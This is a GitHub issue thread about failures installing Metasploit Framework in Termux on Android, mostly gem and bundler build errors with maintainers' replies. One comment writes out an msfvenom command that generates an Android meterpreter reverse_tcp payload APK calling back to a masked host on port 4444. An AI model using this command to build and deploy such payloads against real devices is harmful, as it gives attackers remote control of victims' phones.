rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.1k stars 13.96k forks source link

Problem in installing the metasploit-framework in termux #8765

Closed Ashish882 closed 7 years ago

Ashish882 commented 7 years ago

Sry to say that I am not resolved with installing the metasploit ptamework in gnuroot or termux

This time I getting this error.

Plz ready this error and what should I do now.

Gem::Ext::BuildError: ERROR: Failed to build gem native extension.

current directory: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/ext /data/data/com.termux/files/usr/bin/ruby -r ./siteconf20170725-22469-1acd6n5.rb extconf.rb checking for pg_config... no No pg_config... trying anyway. If building fails, please try again with --with-pg-config=/path/to/pg_config checking for libpq-fe.h... no Can't find the 'libpq-fe.h header extconf.rb failed Could not create Makefile due to some reason, probably lack of necessary libraries and/or headers. Check the mkmf.log file for more details. You may need configuration options.

Provided configuration options: --with-opt-dir --without-opt-dir --with-opt-include--without-opt-include=${opt-dir}/include --with-opt-lib --without-opt-lib=${opt-dir}/lib --with-make-prog --without-make-prog --srcdir=. --curdir --ruby=/data/data/com.termux/files/usr/bin/$(RUBY_BASE_NAME) --with-pg --without-pg --enable-windows-cross --disable-windows-cross --with-pg-config --without-pg-config --with-pg_config --without-pg_config --with-pg-dir --without-pg-dir --with-pg-include --without-pg-include=${pg-dir}/include --with-pg-lib --without-pg-lib=${pg-dir}/lib

To see why this extension failed to compile, please check the mkmf.log which can be found here:

/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/pg-0.20.0/mkmf.log

extconf failed, exit code 1

ailed, exit code 1

Gem files will remain installed in /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0 for inspection. Results logged to /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/pg-0.20.0/gem_make.out

An error occurred while installing pg (0.20.0), and Bundler cannot continue. Make sure that gem install pg -v '0.20.0' succeeds before bundling.

In Gemfile: metasploit-framework was resolved to 4.15.4, which depends on metasploit-credential was resolved to 2.0.10, which depends on metasploit_data_models was resolved to 2.0.15, which depends on pg

Plz help me last time and guide me what should I do now this error is simmlier to past error.

Plz........ Help I am installing in gnuroot debain an android or termux

h00die commented 7 years ago

Make sure that gem install pg -v '0.20.0' succeeds before bundling.

timwr commented 7 years ago

There are other problems discussed here: https://github.com/termux/termux-packages/issues/715 For now you can do the following which should work:

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

We'll try and get all the fixes into termux or metasploit-framework to make things easier.

Ashish882 commented 7 years ago

This error generate in 3rd last command To see why this extension failed to compile, please check the mkmf.log which can be found here:

/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/nokogiri-1.8.0/mkmf.log

extconf failed, exit code 1

Gem files will remain installed in /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.0 for inspection. Results logged to /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/aarch64-linux/2.4.0/nokogiri-1.8.0/gem_make.out

Help.....

timwr commented 7 years ago

Can you try in a fresh install of termux? It works for me

Ashish882 commented 7 years ago

OK I try did it need any addional package just above you mentions only

timwr commented 7 years ago

You sure you're pasting the full line of dependencies?

apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils \
libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
Ashish882 commented 7 years ago

Ohh I using rapid7 package don't yours will it work

timwr commented 7 years ago

yes mine is different. We'll try get the fixes merged into metasploit / termux

Ashish882 commented 7 years ago

OK I understand I have to download your metasploits framework and then use above command to run this in termux OK If I face any problem I come back to you thanks timer you are greater.....

busterb commented 7 years ago

I think all of the fixes are merged now.

ajkoushik commented 7 years ago

when ever I run msfconsole I get this error and when I chevk the DB_status it shows not connected

/data/data/com.termux/files/home/metasploit-framework/metasploit-framework-4.16.4/config/boot.rb:4: warning: already initialized constant GEMFILE_EXTENSIONS /data/data/com.termux/files/home/metasploit-framework/config/boot.rb:4: warning: previous definition of GEMFILE_EXTENSIONS was here WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x1693

barre121 commented 6 years ago

After some problems I solved, i bundle installed it and it got completed by saying

"Bundle complete! 14 Gemfile dependencies, 128 gems now installed. Bundled gems are installed into ./vendor/cache"

But the current problem is when when try "./msfconsole" I am getting this

"The git source https://github.com/timwr/network_interface.git is not yet checked out. Please run bundle install before trying to start your application"

Please help. Sorry for my bad English.

timwr commented 6 years ago

This might help: https://wiki.termux.com/wiki/Metasploit_Framework

barre121 commented 6 years ago

Thanks for your response I got busy I will try this

Mohithchowdary commented 6 years ago

I was unable to use msfconsole ERORR Termux-Metasploit

/data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:in parse': (/data/data/com.termux/files/home/metasploit-framework/config/database.yml): mapping values are not allowed in this context at line 9 column 25 (Psych::SyntaxError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:377:inparse_stream' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:325:in parse' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:252:inload' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:473:in block in load_file' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:inopen' from /data/data/com.termux/files/usr/lib/ruby/2.4.0/psych.rb:472:in load_file' from /data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/driver.rb:179:ininitialize' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in new' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:62:indriver' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart' from ./msfconsole:48:in `

'

11071999 commented 6 years ago

WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb30 WARNING: linker: parser.so: unused DT entry: type 0x6ffffef5 arg 0x2b8 WARNING: linker: generator.so: unused DT entry: type 0x6ffffef5 arg 0x354 WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378 WARNING: linker: bcrypt_ext.so: unused DT entry: type 0x6ffffef5 arg 0x26c WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x750 WARNING: linker: redcarpet.so: unused DT entry: type 0x6ffffef5 arg 0x2c4 WARNING: linker: pg_array_parser.so: unused DT entry: type 0x6ffffef5 arg 0x1c4 WARNING: linker: pg_ext.so: unused DT entry: type 0x6ffffef5 arg 0xb60 I got this error when I am run the msfconsole plz help me please

finessin87 commented 6 years ago

Are you starting the postgresql module prior to launching the msfconsole? In termux, it’s the postgresql package ==>> postgres as the command to start the function.

jadef03 commented 6 years ago

I've been getting the same error as 11071999 WARNING LINKER. Please help me fix it. I'm not sure what you meant finessin87

baglabahmed commented 6 years ago

MetasPloit Framework conso[] Starting the MetaspLoit Framework conso[] Starting the MetasplOit Framework conso[] Starting the MetasploIt Framework conso[] $ msfconsole WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb30 WARNING: linker: parser.so: unused DT entry: type 0x6ffffef5 arg 0x2b8 WARNING: linker: generator.so: unused DT entry: type 0x6ffffef5 arg 0x354 WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378 WARNING: linker: bcrypt_ext.so: unused DT entry: type 0x6ffffef5 arg 0x26c WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x750 [*] starting the Metasploit Framew

plz hlep me if you can 😊

jadef03 commented 6 years ago

The WARNING: LINKER: message/s every time I create a msfvenom payload or start msfconsole doesn't seem to have any effect at all.

baglabahmed commented 6 years ago

I was using Meta Without any problems But after you reset the phone I have become aware of this mistake I can no longer pylod 😶

jadef03 commented 6 years ago

Did you reset as in wipe the phone or reset by removing the battery? What is the error message it gives you?

$ls $cd metasploit $msfvenom -p android/meterpreter/reverse_tcp LHOST= XX.XXX.XX.XX LPORT=4444 R > /sdcard/payload.apk

$msfconsole

jadef03 commented 6 years ago

$cd metasploit-framework (sorry)

baglabahmed commented 6 years ago

Yes I have deleted the phone And the message of error

$ ./msfconsole WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb34 WARNING: linker: parser.so: unused DT entry: type 0x6ffffef5 arg 0x2b8 WARNING: linker: generator.so: unused DT entry: type 0x6ffffef5 arg 0x354 WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378 WARNING: linker: bcrypt_ext.so: unused DT entry: type 0x6ffffef5 arg 0x26c WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x61c WARNING: linker: redcarpet.so: unused DT entry: type 0x6ffffef5 arg 0x2c4 WARNING: linker: network_interface_ext.so: unused DT entry: type 0x6ffffef5 arg 0x258 [*] Starting the Metasploit Framework console.../

And work

But when I want to make payload

I can not because of these mistakes

I'm sorry I took a lot of your time 😊

baglabahmed commented 6 years ago

بتاريخ ١٠‏/٠٣‏/٢٠١٨ ١٩:٤٩، كتب "jade fourie" notifications@github.com:

$cd metasploit-framework (sorry)

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-372054711, or mute the thread https://github.com/notifications/unsubscribe-auth/Ahh4S8wu3cqN3P_DsOpxpssRlLnsU0hFks5tdCAbgaJpZM4Oiuak .

Gentek200 commented 6 years ago

I always face this problem when installing metasploit in termux

E: Package 'postgresql-contrib' has no installation candidate

Pls help i dont know what to do i had tried many diffrent ways but face this error in all of it.

noob2noob commented 6 years ago

Help!!!

Downloading nokogiri-1.8.0 revealed dependencies not in the API or the lockfile (mini_portile2 (~> 2.2.0)). Either installing with --full-index or running bundle update nokogiri should fix the problem.

In Gemfile: factory_girl_rails was resolved to 4.9.0, which depends on railties was resolved to 4.2.10, which depends on actionpack was resolved to 4.2.10, which depends on actionview was resolved to 4.2.10, which depends on rails-dom-testing was resolved to 1.0.8, which depends on nokogiri

lesid commented 6 years ago

@Gentek200 the postgresql-contrib is now include in th postgresql package just install it

Gentek200 commented 6 years ago

Pls help!i installed gem but it still giving this error

On Apr 16, 2018 16:35, "lesid" notifications@github.com wrote:

@Gentek200 https://github.com/Gentek200 the postgresql-contrib is now include in th postgresql package just install it

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-381576027, or mute the thread https://github.com/notifications/unsubscribe-auth/AkmU6D7j5Y25UelhbC8ILQRfVucv3Vjjks5tpIkTgaJpZM4Oiuak .

SonOfABot commented 6 years ago

$ bundle install -j5 Your lockfile is unreadable. Run rm Gemfile.lock and then bundle install to generate a new lockfile. $

This is what it shows when I try to install bundle

$./msfconsole Your lockfile is unreadable. Run rm Gemfile.lock and then bundle install to generate a new lockfile.

And it also show this if I type msfconsole ......pls help

Torykuzzaman commented 6 years ago

How to fix it $ ./msfconsole Could not find nokogiri-1.8.0 in any of the sources Run bundle install to install missing gems. $

NightFall101 commented 6 years ago

i got a prob

./msfconsole Could not find nokogiri-1.8.0 in any of the sources Run'bundle install' to install missing gems.

and when i do

'bundle install' it show's me

Downloading nokogiri-1.8.0 revealed dependencies not in the API or the lockfile (mini_portile2 (->2.2.0)), Either installing with '--full-index' or running 'bundle update nokogiri' should fix the problem.

In Gemfile: factory_girl_rails was resolved to 4.9.0, wich depends on railties was resolved ro 4.2.10, which depends on actionpack was resolved to 4.2.10, which depends on actionview was resolved to 4.2.10, which depends on rails-dom-testing was resolved to 1.9.0, which depends on nokogiri

and then if i do 'bundle install' this comes up

An error occurred while installing nokogiri (1.8.4), and Bundler cannot continue. Make sure that 'gem install nokogiri -v '1.8.0' --source 'http://runygems.org/' ' succeeds before bundling.

In Gemfile: factory_girl_rails was resolved to 4.9.0, wich depends on railties was resolved ro 4.2.10, which depends on actionpack was resolved to 4.2.10, which depends on actionview was resolved to 4.2.10, which depends on rails-dom-testing was resolved to 1.9.0, which depends on

can you guys help me?

ak7262 commented 6 years ago

Using postgres_ext 3.0.1 Downloading nokogiri-1.8.0 revealed dependencies not in the API or the lockfile (mini_portile2 (~> 2.2.0)). Either installing with --full-index or running bundle update nokogiri should fix the problem.

In Gemfile: factory_girl_rails was resolved to 4.9.0, which depends on railties was resolved to 4.2.10, which depends on actionpack was resolved to 4.2.10, which depends on actionview was resolved to 4.2.10, which depends on rails-dom-testing was resolved to 1.0.9, which depends on nokogiri Help

Egrak commented 6 years ago

msfconsole: command not found Help me

bcoles commented 6 years ago

@Egrak please don't post on closed issues. That said, evidently the msfconsole command is not available in $PATH.

Egrak commented 6 years ago

bundle install

[!] There was an error parsing Gemfile: There are no gemspecs at /data/data/com.termux/files/home/metasploit-framework. Bundler cannot continue.

from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4

-------------------------------------------

spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework' #

-------------------------------------------

bcoles commented 6 years ago

@Egrak please don't post on closed issues.

Unfortunately termux is not an officially supported console environment at this time. There is an active community working with it however. The issue linked here leads to lot of resources for getting up and running.

termux/termux-packages/issues/715

kopirobusta commented 5 years ago

Delete folder pg-0.20.0

Than bundle install

jigarpunadiya commented 5 years ago

screenshot_2019-01-10-16-11-20-584_com termux why this happens to me ??? I cant make venom i've already installed metasploit but gems are not installed why???

markgillitzer commented 5 years ago

I am heading an issue running msfconsole. Everytime I try and load msfconsole it tells me I need to install gem bundler... I install the gem, it tells me it installed fine. I go to run msfconsole again and it tells me the exact same thing got. Why am I getting this gem error

markgillitzer commented 5 years ago

https://photos.app.goo.gl/hP58zBnwtLP6K4Co6

markgillitzer commented 5 years ago

What is going on with my termuX https://photos.app.goo.gl/hP58zBnwtLP6K4Co6

bcoles commented 5 years ago

Termux is not supported. #11023

hishtas commented 5 years ago

rm Gemfile.lock And again install bundle install To new Gemfile create

hishtas commented 5 years ago

/data/data/com.termux/files/usr/bin/bundle:

anongrunge commented 5 years ago

Omg.. yeah I had it working last week I've tried almost every install method out there.. and it will not install properly any more.. I have experienced every single error mentioned here.. But my friend just did it successfully but cant remember completely how he did it.. so there is a way that works out there still.

bcoles commented 5 years ago

@anongrunge Yes, there were changes to Metasploit a week or two ago, which caused Metasploit to stop working on Termux.

Termux is not an officially supported platform for Metasploit. https://github.com/rapid7/metasploit-framework/issues/11023

The Termux issue tracker is the appropriate place to seek support for Termux: https://github.com/termux/termux-packages/issues/715

It appears that an official Termux package is now available, as per: https://github.com/termux/termux-packages/issues/715#issuecomment-469177911

busterb commented 5 years ago

Yeah, I'd recommend using their official package for sure, and please be sure to read the wiki carefully:

https://wiki.termux.com/wiki/Metasploit_Framework

ghost commented 5 years ago

[!] There was an error parsing Gemfile: [!] There was an error while loading grpc.gemspec: cannot load such file -- grpc/version Does it try to require a relative path? That's been removed in Ruby 1.9. Bundler cannot continue.

from /data/data/com.termux/files/home/metasploit-framework/grpc.gemspec:4

-------------------------------------------

$LOAD_PATH.push File.expand_path('../src/ruby/lib', FILE)

require 'grpc/version' #

-------------------------------------------

. Bundler cannot continue.

from /data/data/com.termux/files/home/metasploit-framework/Gemfile:4

-------------------------------------------

spec.add_runtime_dependency '', []

gemspec name: 'metasploit-framework' #

-------------------------------------------

Please help me what to do with this error

bcoles commented 5 years ago

@nitesh-mishr The Termux team is the best place to seek support for Metasploit on Termux:

https://wiki.termux.com/wiki/Metasploit_Framework